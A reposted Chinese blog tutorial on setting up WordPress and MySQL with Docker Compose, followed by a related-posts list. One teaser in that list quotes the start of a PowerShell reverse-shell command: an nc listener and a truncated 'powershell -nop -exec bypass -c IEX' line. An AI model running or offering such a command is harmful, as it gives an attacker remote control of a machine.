五分钟搭建博客系统 OK?

前言:

请各大网友尊重本人原创知识分享,谨记本人博客:南国以南i

概要:

通过 Docker Compose 在使用 Docker容器构建的隔离环境中轻松运行 WordPress。在开始之前, 请确保已 安装 Compose

上篇我们介绍到docker容器编排原来这么丝滑~

环境检查

可以通过如下命令检查:

docker-compose --version #查看版本

样例输出:

五分钟搭建博客系统 OK?

一、定义项目

1.1 创建一个空的项目目录

您可以将目录命名为易于记忆的名称。此目录是您的应用程序映像的上下文。该目录应该只包含构建该图像的资源。

这个项目目录包含一个 docker-compose.yml完整的文件,它本身就是一个好的入门 WordPress项目。

提示:您可以为此文件使用 a .yml或扩展名。 .yaml他们都工作。

1.2切换到您的项目目录

例如,如果您将目录命名为 my_wordpress

cd my_wordpress/  #进入

1.3 创建一个 docker-compose.yml

用于启动您的 WordPress博客的文件和一个带有卷挂载的单独 MySQL实例以实现数据持久性:

version: "3.0"

services:
  db:
    image: mysql:5.7
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: somewordpress
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

  wordpress:
    depends_on:
      - db
    image: wordpress:latest
    volumes:
      - wordpress_data:/var/www/html
    ports:
      - "8000:80"
    restart: always
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
volumes:
  db_data: {}
  wordpress_data: {}

上述配置说明:

五分钟搭建博客系统 OK?

备注:

  • docker 卷 db_datawordpress_data持久化 WordPress 对数据库的更新,以及已安装的主题和插件。了解有关 docker 卷的更多信息
  • WordPress Multisite 仅适用于端口 80443.

1.4 构建项目

在分离模式下运行,拉取所需的 Docker 镜像,并启动 wordpress 和数据库容器,如下例所示

docker-compose up -d  #后台构建启动

五分钟搭建博客系统 OK?

1.5 查看运行的容器

此处可见已拉取 Mysql镜像并生成了容器、及已生成WordPress博客运行容器

五分钟搭建博客系统 OK?

二、访问 WordPress主页

2.1 使用样例项目

注意: WordPress 站点不能立即在端口上可用, 8000因为容器仍在初始化中,可能需要几分钟才能首次加载。

打开浏览器输入:http://localhost:8000 博客初始化

2.2 初始化用户信息

五分钟搭建博客系统 OK?

2.3 主页登录

五分钟搭建博客系统 OK?

三、 关闭和清理

该命令docker-compose down;会删除容器和默认网络,但会保留您的 WordPress 数据库。

该命令 docker-compose down --volumes删除容器、默认网络和 WordPress 数据库。

至此, docker-compose使用简直在方便了!!!大大简化了我们的部署工作。学废的小伙伴记得给自己加鸡腿~

总结:

我是南国以南i记录点滴每天成长一点点,学习是永无止境的!转载请附原文链接!!!

参考链接参考链接

Original: https://www.cnblogs.com/bgyb/p/16116211.html
Author: 南国以南i
Title: 五分钟搭建博客系统 OK?

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/613025/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 记一次vcenter连接esxi失败问题排查(443端口不通)

    vecenter错误 esxi宿主机重启后,vcenter连接esxi提示超时,使用vmware客户端连接esxi也提示超时,开始介入排查。 故障排查 如何进入命令终端 运行alt…

    Linux 2023年6月14日
    080
  • K8s-小型综合实验(k8s+keeplived+nginx+iptables)

    K8S小型综合实验(k8s+keeplived+nginx+iptables) 实验目的 1.Kubernetes 区域可采用 Kubeadm 方式进行安装。 2.要求在 Kube…

    Linux 2023年6月13日
    0111
  • Shell中的特殊符号(special characters)和含义

    之前写过两篇关于Bash语法的blog,分别是: 个人感觉,想要通畅地读懂bash脚本,还差一个部分,那就是符号。 个人网上的讲bash符号的文章有点乱,要么有错,要么不全,要么太…

    Linux 2023年5月28日
    098
  • 剑指offer计划链表

    剑指offer计划链表 从尾到头打印链表 /** * public class ListNode { * int val; * ListNode next = null; * * …

    Linux 2023年6月11日
    075
  • Dockerfile

    Docker可以通过Dockerfile构建镜像。Dockerfile是一个文本文档,它包含用户可以在命令行上调用的所有命令来组装镜像。使用 docker build用户可以创建一…

    Linux 2023年6月13日
    090
  • 抑制stable_secret读取关键信息

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月7日
    0115
  • Arthas-开源的java诊断工具,非常有用

    常用命令 help 查看帮助 help COMMAND 查看指定&#…

    Linux 2023年6月13日
    0140
  • [编译] 8、在Linux下搭建 stm8 单片机的开发烧写环境(makefile版)

    一、SDCC(Small Device C Compiler)编译环境搭建 1.1、下载 1.2、编译 1.3、测试 二、Hex2Bin+命令行烧写工具配置使用 2.1、下载工具安…

    Linux 2023年6月8日
    0129
  • CH343芯片应用—硬件设计

    CH343属于沁恒第三代USB转串口芯片系列的单串口型号,基于经典版CH340芯片完成技术革新,实现USB转高速异步串口,支持最高6Mbps串口波特率。 电源设计 CH343芯片有…

    Linux 2023年6月7日
    0172
  • MAC安装redis

    一、安装命令使用mac的包管理工具brew一行命令搞定安装。若未安装brew,命令行先输入以下命令安装brew。 /usr/bin/ruby -e “$(curl -f…

    Linux 2023年5月28日
    0102
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    099
  • redis的GEO实战 (RedisTemplate)

    geoadd 时间复杂度为O(log(N)) geoadd cityGeo 116.405285 39.904989 “北京”geoadd cityGeo …

    Linux 2023年5月28日
    097
  • 快速删除指定文件夹下的.DS_Store文件

    清除当前文件夹中 .DS_store 文件: find "." -name .DS_Store find "." -name .DS_Sto…

    Linux 2023年6月14日
    078
  • tcpreplay重放报文,tcpdump能抓到包,应用程序收不到包

    现象: 生产环境中有两台服务器A、B,A服务器实时有报文发往B服务器。为了在测试环境测试新功能,故在现网A服务器上tcpdump抓取发往B服务器的报文,然后在测试环境tcprewr…

    Linux 2023年6月14日
    0106
  • 2021年想做的最后挣扎

    一年的时间转眼间就过完,感觉没变,又感觉跟一年前的今天变化还是蛮多的,树立个小目标争取年前完成把 读书一本书看一篇文章: 《百年孤独》:我总感觉虽然是只单身狗是孤单的,理解不了孤独…

    Linux 2023年6月14日
    097
  • ubuntu redis 集群配置

    1.下载并编译redis 去http://download.redis.io/releases/查看自己想要下载的redis,右键复制一下链接我的原始目录:/root wget h…

    Linux 2023年6月7日
    0112
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球